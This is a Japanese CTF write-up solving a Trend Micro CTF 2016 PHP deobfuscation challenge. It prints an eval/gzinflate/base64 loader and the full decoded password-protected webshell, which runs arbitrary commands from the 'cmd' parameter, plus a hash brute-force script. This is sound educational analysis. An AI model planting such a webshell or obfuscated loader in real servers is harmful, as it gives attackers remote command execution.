Edited at

Trend Micro CTF 2016 Online Qualifier: defensive 100 問題 の write-up

More than 3 years have passed since last update.

今回のTrend Micro CTF 2016のオンライン予選はあんまりガッツリは参加できなかったけれど、他のチームメイトが解けていなかった問題を一問だけは解くことができた。

解けたのは Analysis - defensive の 100点問題で、以下この問題を解いた過程について簡単にメモしておく。


Analysis - defensive の 100点問題

<?php

$GLOBALS['key'] = "6c7f4d49729e58d7a458999b570e0151bc034ca7";
$func="cr"."eat"."e_fun"."cti"."on";$decodeme=$func('$x','ev'.'al'.'("?>".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$decodeme("7f1n〜(中略)〜vUP6/");?>
}

という感じのdecodeme_decodeme.phpというファイルが与えられている。 ファイル名からすると、これを何とか復号化すれば良いらしい。

PHPは知らないけれど、どうもドットが文字列連結っぽいので、ちょっと整形すると以下のようになる。

<?php

$GLOBALS['key'] = "6c7f4d49729e58d7a458999b570e0151bc034ca7";
$func="create_function";
$decodeme=$func('$x','eval("?>".gzinflate(base64_decode($x)));');
$decodeme("7f1n〜(中略)〜vUP6/");
?>
}

"create_function"という文字列をそのまま関数として適用できるとか、さすがPHPだな。


base64 と deflate の復号

で、「7f1n〜(中略)〜vUP6/」の部分を復号してみようと、とりあえずファイル(base64.txt)に保存して以下のようにしてみても、「Codec.Compression.Zlib: compressed data stream format error (incorrect header check)」というエラーが出てしまった。GZipの方でも同じ結果になる。 Rubyのzlibを使っても同じ。

import qualified Data.ByteString.Lazy.Char8 as BL

import qualified Data.ByteString.Base64.Lazy as Base64
import Data.Char
import qualified Codec.Compression.Zlib as Zlib
-- import qualified Codec.Compression.GZip as GZip

main = do
s <- BL.readFile "base64.txt"
case Base64.decode (BL.filter (not . isSpace) s) of
Left err -> error err
Right s2 -> do
BL.writeFile "encoded.dat" s2
let s3 = Zlib.decompress s2
BL.writeFile "decoded.dat" s3

調べてみると、PHPのgzdeflate/gzinflateは、ヘッダを付けないらしい。 で、どうしたものかと思ったのだけれど、たまたま手元の環境にPHPが入っているようだったので、適当にぐぐった結果に基づいて、以下のようにして実行した。 (なお、後で調べたところ、Haskellのzlibパッケージでも、Codec.Compression.Zlib.Rawモジュールを使えば良かったようだ)

<?php

$x="7f1n〜(中略)〜UP6/";
echo gzinflate(base64_decode($x));
?>

こうして得られた結果は以下のようなPHPプログラムとなっていた。

<?php

// reference: https://github.com/b374k/b374k/blob/master/LICENSE.md
function chk_password(){
if(!isset($GLOBALS['key'])){ die(); }
if(trim($GLOBALS['key'])==''){ die(); }
$glob = $GLOBALS['key'];

$post = '';
$cook = '';
if (isset($_POST['key'])) { $post = $_POST['key']; }
if (isset($_COOKIE['key'])) { $cook = $_COOKIE['key']; }
if ($cook==$glob) { return; }

if($post != ''){
$key = sha1(md5($post));
if($key==$glob){
setcookie("key", $key, time()+36000, "/");
$qstr = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
header("Location: ".htmlspecialchars($_SERVER["REQUEST_URI"].$qstr, 2 | 1));
$cook = $_COOKIE['key'];
}
}

$output = "
<html><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8'><meta http-equiv='Content-Language' content='en-us'>
<title>decodeme</title>
<style type='text/css'>
<!--
body{ background-color:darkred; color:white; }
hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; }
-->
</style>
</head>
<body>
<br><br>
<form method='post'>
<center>
<input type='password' id='key' name='key'>
<p>enter ****</p>
</center>
</form>
</body></html>"
;

echo $output;
die();

}
chk_password();
?>

<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta http-equiv="Content-Language" content="en-us">
<title>decodeme</title>
<style type="text/css">
<!--
body{ background-color:darkred; color:white; }
hr{ background-color:dimgray; color:dimgray; border:0 none; height: 2px; }
-->
</style>
</head>

<?php
$GLOBALS['images']['version']= "iVBO〜(中略)〜YII=";
$GLOBALS['images']['top']= "iVBO〜(中略)〜gg==";
$GLOBALS['images']['contact']= "iVBO〜(中略)〜YII=";
$GLOBALS['images']['author']= "iVBO〜(中略)〜gg==";
$GLOBALS['images']['license']= "iVBO〜(中略)〜QmCC";
$GLOBALS['images']['support']= "iVBO〜(中略)〜QmCC";
$GLOBALS['images']['lock']= "iVBO〜(中略)〜gg==";

?>

<body>
<img src="data:image/png;base64,<?php echo $GLOBALS['images']['top']; ?>" alt="top" />
<p>7h15 15 51mpl3 w3b5h3ll. 1npu7 y0ur cmd h3r3.</p>
<hr>

<?php
function myshellexec($cmd)
{
$result = "";
if (!empty($cmd))
{
if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
elseif (($result = `$cmd`) !== false) {}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}

function _3x3c_637v3r510n($cmd){
$result = "";
if (!empty($cmd))
{
if ($cmd == "getversion"){
?>
<img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['version']; ?>" alt="figure" />
<br>
<?php
$result = "TMCTF webshell v1.0 beta betta";
}
}
return $result;
}

function _3x3c_wh04u7h0r($cmd){
$result = "";
if (!empty($cmd))
{
if ($cmd == "whoauthor"){
?>
<img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['author']; ?>" alt="figure" />
<br>
<?php
$result = "web shell cooker";
}
}
return $result;
}

function _3x3c_buyl1c3n53($cmd){
$result = "";
if (!empty($cmd))
{
if ($cmd == "buylicense"){
?>
<img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['license']; ?>" alt="figure" />
<br>
<?php
$result = "paid $100000000000000000000000000 :-)";
}
}
return $result;
}

function _3x3c_5h0wl0ck($cmd){
$result = "";
if (!empty($cmd))
{
if ($cmd == "showlock"){
?>
<img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['lock']; ?>" alt="figure" />
<br>
<?php
$result = "show lock";
}
}
return $result;
}

function _3x3c_5h0w5upp0r7($cmd){
$result = "";
if (!empty($cmd))
{
if ($cmd == "showsupport"){
?>
<img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['support']; ?>" alt="figure" />
<br>
<?php
$result = "call +99-99999-9999-999-99-99-9-99-9-999--99-99--9-9";
}
}
return $result;
}

function _3x3c_5h0wc0n74c7($cmd){
$result = "";
if (!empty($cmd))
{
if ($cmd == "showcontact"){
?>
<img align="left" src="data:image/png;base64,<?php echo $GLOBALS['images']['contact']; ?>" alt="figure" />
<br>
<?php
$result = "contact xxxxxxxxxyyyyyyyyzzzzzzz@trendmicro";
}
}
return $result;
}

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
echo myshellexec($cmd);
echo _3x3c_637v3r510n($cmd);
echo _3x3c_wh04u7h0r($cmd);
echo _3x3c_buyl1c3n53($cmd);
echo _3x3c_5h0wl0ck($cmd);
echo _3x3c_5h0w5upp0r7($cmd);
echo _3x3c_5h0wc0n74c7($cmd);
echo "</pre>";
}
?>
</body>
</html>

keyパラメータをmd5とsha1の二段階でハッシュした結果を $GLOBALS['key']の値 "6c7f4d49729e58d7a458999b570e0151bc034ca7" と比較して認証している。

内容はウェブシェルっぽいけれども、各コマンドの実行結果や、コードを一通り読んでも、フラグっぽいものは見つからず、だいぶ悩んでしまった。


パスワードの探索

ふと、ひょっとして、このウェブシェルのパスワードがフラグなのではと思いついた。 しかも「enter ****」とあるので、もし4桁なら探せそうと考え、以下のように試したら、「h4ck」が求まった。 ただ、「TMCTF{h4ck}」をサブミットしても不正解。

require 'digest/md5'

require 'digest/sha1'

cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".split(//)

cs.each{|c1|
cs.each{|c2|
cs.each{|c3|
cs.each{|c4|
s = c1 + c2 + c3 + c4
s2 = Digest::SHA1.hexdigest(Digest::MD5.hexdigest(s))
if s2 == "6c7f4d49729e58d7a458999b570e0151bc034ca7"
puts s #=> h4ck
puts s2
end
}
}
}
}


画像に埋め込まれたヒント

ひょっとしてソースコードでなければ画像に何か埋め込まれているのではと思って、$GLOBALS['images'] 以下の画像データを復号してファイルに保存してstringsで見てみると、lockの画像にだけ、「zTXt」や「Raw profile type exif」という文字列が含まれているのを発見。

PNGのチャンク構造を一瞬調べかけたけど、「exif」とあるし、「もしexiftoolで表示できるなら、それが早いか」と思って試してみたら、表示できた。

$ exiftool lock.png 

exiftool lock.png
ExifTool Version Number : 10.15
File Name : lock.png
Directory : .
File Size : 2.3 kB
File Modification Date/Time : 2016:07:30 22:38:39+09:00
File Access Date/Time : 2016:07:31 12:37:45+09:00
File Inode Change Date/Time : 2016:07:30 22:45:15+09:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 71
Image Height : 114
Bit Depth : 8
Color Type : Palette
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Adam7 Interlace
Exif Byte Order : Little-endian (Intel, II)
Make : /.*/e
Camera Model Name : eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));
SRGB Rendering : Perceptual
Gamma : 2.2
Palette : (Binary data 585 bytes, use -b option to extract)
Transparency : (Binary data 195 bytes, use -b option to extract)
Pixels Per Unit X : 5905
Pixels Per Unit Y : 5905
Pixel Units : meters
Image Size : 71x114
Megapixels : 0.008

Camera Model Name に怪しい文字列「eval(base64_decode("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7"));」が。ということで復号してみると、以下のようにヒントが得られる。

irb(main):002:0> Base64.decode64("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")

Base64.decode64("ZWNobyAnZmxhZyBpcyBzaGExKHBhc3N3b3JkKSc7")
=> "echo 'flag is sha1(password)';"

というわけで、先ほどのパスワードのハッシュ値を計算してみると以下のようになり、「TMCTF{e17e98788d6b4ac922b2df100ef9398ae0f229ad}」をサブミットしたら正解になった。

irb(main):005:0> Digest::SHA1.hexdigest("h4ck")

Digest::SHA1.hexdigest("h4ck")
=> "e17e98788d6b4ac922b2df100ef9398ae0f229ad"